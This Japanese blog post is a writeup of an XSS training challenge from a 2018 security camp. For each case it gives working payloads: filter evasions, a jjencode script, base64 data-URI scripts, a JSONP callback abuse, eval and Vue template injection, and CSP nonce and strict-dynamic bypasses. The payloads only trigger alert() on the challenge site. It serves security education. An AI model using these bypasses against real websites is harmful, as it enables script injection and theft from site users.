XSS Challenge (セキュリティ・ミニキャンプ in 岡山 2018 演習コンテンツ) Writeup
- はじめに
- Writeup
- Case 01: Simple XSS 1
- Case 02: Simple XSS 2
- Case 03: With htmlspecialchars()
- Case 04-1: Without any backquotes and HTML tags
- Case 04-2: Without any backquotes, HTML tags and [ux]
- Case 05: Without any alphabets
- Case 06-1: Without any paretheses
- Case 06-2: Without any parentheses and [oO][nN]
- Case 06-3: Without any paretheses and .[oO].[nN].*
- Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes
- Case 07-1: Without any quotes
- Case 07-2: Without any quotes and &
- Case 08-1: Without any backquotes, parentheses and HTML tags
- Case 08-2: Without any backquotes, parentheses, HTML tags and &
- Case 09-1: Without any spaces and "script"
- Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"
- Case 20: Bad use of JSONP
- Case 21: nonce + unsafe-eval
- Case 22: nonce + unsafe-eval
- Case 23: nonce + strict-dynamic
- おわりに
はじめに
つばめ(@lmt_swallow/@y0n3uchy)氏によるセキュリティ・ミニキャンプ in 岡山 2018の演習コンテンツであるXSS ChallengeのWriteupです.
初学者向け(?)とのことでしたが,そこそこ苦戦して心が折れました :cry:
答えがそのまま書いてあるため,自力で解きたい方は閲覧しないでください :bow:
Writeup
Case 01: Simple XSS 1
典型的な反射型XSSです.
入力した値がそのままecho
されているので,適宜<script>
を出力するようにしてやります.
解答
<script>alert("XSS")</script> <script>alert(document.domain)</script>
Case 02: Simple XSS 2
DOM Based XSSです.
URLのハッシュ以降の値を切り取って,それをinnerHTML
で<p>
に突っ込んでいます.
innerHTML
に<script>
の挿入は使えないので,<img>
の挿入を行います.
具体的には,ありえないsrc
属性を指定することで,わざとonerror
属性に指定されたスクリプトを実行させます.
解答
https://xss.shift-js.info/case02.php#<img src=/ onerror=alert("XSS") /> https://xss.shift-js.info/case02.php#<img src=/ onerror=alert(document.domain) />
Case 03: With htmlspecialchars()
入力した値が<a>
タグのhref
属性に設定されています.
そのため,javascript:
スキームの挿入が有効です.
解答
javascript: alert("XSS") javascript: alert(document.domain)
Case 04-1: Without any backquotes and HTML tags
バッククォート(`)とタグ(<>)を使うことができません.
ソースコードをよく見ると,与えたクエリがJavaScriptにてバッククォートで展開されています.
よって,JavaScriptのテンプレートリテラルにおける変数展開が可能なのでこれを利用します.
以下の文字列を以下のスクリプトによってJavaScriptコードに変換します.
<img src=/ onerror=alert(document.domain) /> <img src=/ onerror=alert("XSS") />
S = input() C = [] for s in S: C.append(ord(s)) print("${" + "String.fromCharCode({})".format(",".join(list(map(str, C)))) + "}")
解答
${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,34,88,83,83,34,41,32,47,62)} ${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,32,47,62)}
Case 04-2: Without any backquotes, HTML tags and [ux]
04-1に加えてux
が使用できなくなりますが,上記と同じ攻撃ベクタでXSSが可能です.
ux
ということは,04-1ではUnicode表記を想定していたんだと思います(ごめんなさい)
解答
${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,34,88,83,83,34,41,32,47,62)} ${String.fromCharCode(60,105,109,103,32,115,114,99,61,47,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,32,47,62)}
Case 05: Without any alphabets
アルファベットと数字が使えません.
一見無理そうですが,JavaScriptは記号のみでプログラミングできるみたいなアレがあります.
(「JavaScript 記号プログラミング」とかで検索すると出てきます.)
スクリプトを書いてやってもいいですが少々面倒なので,今回はjjencodeを使いました.
解答
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"\\\")"+"\"")())(); $=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();
Case 06-1: Without any paretheses
Parentheses(()
)が使えません.
今回はbase64エンコーディングを用いて上記のフィルターを回避します.
下記のスクリプトを用いて下記の文字列をエンコードすることで攻撃ベクタを生成しました.
alert("XSS") alert(document.domain)
import base64 prefix = "data:text/javascript;base64," code = input() print("<script src={}{} ></script>".format(prefix, base64.b64encode(code.encode()).decode()))
解答
<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script> <script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>
Case 06-2: Without any parentheses and [oO][nN]
上記に加えて,onほげほげ
が弾かれる.
さっき作成した攻撃ベクタにonほげほげ
は含まれていないので,そのまま流用できます.
解答
<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script> <script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>
Case 06-3: Without any paretheses and .[oO].[nN].*
ほげほげoほげほげnほげほげ
が弾かれる.
運悪く06-2における2つ目の攻撃ベクタの...QoZG9jdW1lbnQ...
の部分が該当してしまているので,別の文字列を利用します.
今回は,以下の文字列をエンコードしました.
alert("XSS") alert( document.domain)
解答
<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script> <script src=data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbik= ></script>
Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes
今度はタグ(/<[a-zA-Z]+.+?>/
)も弾かれる.
そこで,弾かれた後の文字列が<script ...>
になるようにします.
具体的には,<<[a-zA-Z]それ以外の何か>script ...></script>
みたいにすればいいです.
解答
<<ahaha:-)>script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script> <<ahaha:-)>script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script>
Case 07-1: Without any quotes
クォート類(single quote, double quote, backquote)が弾かれます.
さっき使ったbase64エンコード形式のやつが使えますね!
解答
<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script> <script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>
Case 07-2: Without any quotes and &
クォート類(single quote, double quote, backquote)と&#
が弾かれます.
さっき使ったbase64エンコード形式のやつが(略)
解答
<script src=data:text/javascript;base64,YWxlcnQoIlhTUyIp ></script> <script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ== ></script>
Case 08-1: Without any backquotes, parentheses and HTML tags
下記が使えません.
"/[`()<>]/"
ソースコードをよくよく見ると,span
タグのid
属性にエスケープされた値がそのまま書き出されています.
そこで,"
を使ってid
属性を強制的に終了させたのち,JavaScriptの数値文字参照を用いてスクリプトを実行させます.
数値文字参照のコードを生成するために,以下のスクリプトを用いて以下の文字列を変換しました.
alert("XSS") alert(document.domain)
S = input() C = [] for s in S: C.append(ord(s)) for c in C: print("&#{};".format(c), end="") print()
解答
" onclick="alert("XSS") " onclick="alert(document.domain)
Case 08-2: Without any backquotes, parentheses, HTML tags and &
上記に加えて&#
も使えません.
そこで,ブラウザハックでも紹介されているXSS technique without parenthesesという手法を用います.
解答
" onclick="window.onerror=eval;throw'=alert\x28\x22XSS\x22\x29'; " onclick="window.onerror=eval;throw'=alert\x28document.domain\x29';
Case 09-1: Without any spaces and "script"
script
という文字と空白文字が使えません.
正規表現をよく見ると,小文字しか弾かれていないので,大文字でやればいいです.
解答
<SCRIPT>alert("XSS")</SCRIPT> <SCRIPT>alert(document.domain)</SCRIPT>
Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"
今度は大文字も使えません.
しかし,弾かれるのは一回きりなので,Case 06-4と同様に弾かれた後の文字列が<script ...>
になるようにしてやればいいです.
なんかセキュスペのこれの問1設問6(2)を思い出した.
解答
<scrSCRIPTipt>alert("XSS")</scrSCRIPTipt> <scrSCRIPTipt>alert(document.domain)</scrSCRIPTipt>
Case 20: Bad use of JSONP
CSPによってインラインスクリプトが制限されているため,これまでの問題のように<script>
の注入等は行えません.
しかし,本問題ではJSONPをうまく活用することでXSSを発生させることができます.
具体的には,JSONPにおけるコールバック関数(callback
)呼び出し時にalertが発生するようにします.
これは,インラインスクリプトの注入には当たらないのでCSPでブロックされません.
解答
<script src="jsonp.php?callback=alert('XSS')"></script> <script src="jsonp.php?callback=alert(document.domain)"></script>
Case 21: nonce + unsafe-eval
最初にランダムな2つの値がnonceに設定されます.
それを<script>
のnonce
属性に適切に設定することで,CSPにて実行が許可されています.
そのため,適当な<script>
を注入してもnonce
属性が一致しないため実行が許可されません.
ソースをよく見ると,以下のようなコードがあります.
var answer = eval(window.equation.value); ... <input type="hidden" id="equation" value="<?= $eq ?>">
これは,equation
というid
属性を持つタグ(ここではinput
)のvalue
属性をeval
関数で実行するコードです.(CSPでunsafe-eval
が指定されているため,このコードの実行も許可されます)
このコードによって,本来は埋め込まれた値($eq
)とユーザの入力が等しいかをチェックしています.
そこで,eval
によって$eq
ではなくalert
を発生させる文字列を先に評価させるようにします.
なお,元からある<input type="hidden" id="equation" value="<?= $eq ?>">
が読み込まれないように,適宜コメントアウトします.
unsafe-eval
はこわいですね.
解答
<input type="hidden" id="equation" value="alert('XSS')" ></input><!-- <input type="hidden" id="equation" value="alert(document.domain)" ></input><!--
Case 22: nonce + unsafe-eval
Vue.jsが利用されています.
また,最初にランダムな3つの値がnonceに設定され,それが<script>
のnonce
属性に設定されます.加えて,unsafe-eval
が指定されています.
https://github.com/vuejs/vue/issues/3592によると,
{{ this.constructor.constructor('alert("oops")') }}
のようにテンプレートインジェクションを行うことでalert
が実行されるようです.
終わりかな?と思って入力してみると,以下が出力されました.
あなたはfunction anonymous( ) { alert("oops") }さんなんだね。
なんかうまくいってないみたいです.
ちょっとIssueを漁ってみると,このスライドが見つかりました.
ちょっと注入するコードが違ったようです.
解答
{{constructor.constructor('alert("XSS")')()}} {{constructor.constructor('alert(document.domain)')()}}
Case 23: nonce + strict-dynamic
strict-dynamic
が指定されています.
strict-dynamic
は以下のような仕様です.
The strict-dynamic source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script.
さっぱりわからんだったので,調べてみました.
すると,CVE-2018-5175: FirefoxでCSPのstrict-dynamicバイパスや,そこからCNY Challenge 2018が見つかりました.
方針として,CSPにstrict-dynamic
が指定されているため,nonce
によって許可されている以下のコード内でスクリプトを生成させるしかありません.
<script nonce="<?= $random1 ?>"> window.addEventListener("load", function(){ var input = `<?= $escaped ?>`; window.injectarea.innerHTML = `${input} is your payload; could you execute a script? :-)` }); </script>
本来のソースコードでは,id
属性がinjectarea
である<div>
にペイロードが書き出されていますが,これだとスクリプトとして実行されません.
そのため,なんとかして<script>
内部にスクリプトを書き出させる必要があります.
そこで,以下のような方策をとります.
id
属性がinjectarea
である<script>
を生成する- 本来
id
属性がinjectarea
である<div>
を<script>
で上書きする - 上書きした
<script>
にalert("XSS")
を注入する
解答
alert("XSS")//<script id="injectarea"></script><!- alert(document.domain)//<script id="injectarea"></script><!-
おわりに
XSSの総復習ができました.(知らないのも結構ありました)
CSP周りは未だ理解があやふやなので,新仕様のCSP Level 3も含めてちゃんと勉強したいと思います.
今後問題が追加されれば追記します!:)
つばめプロ,ありがとうございました!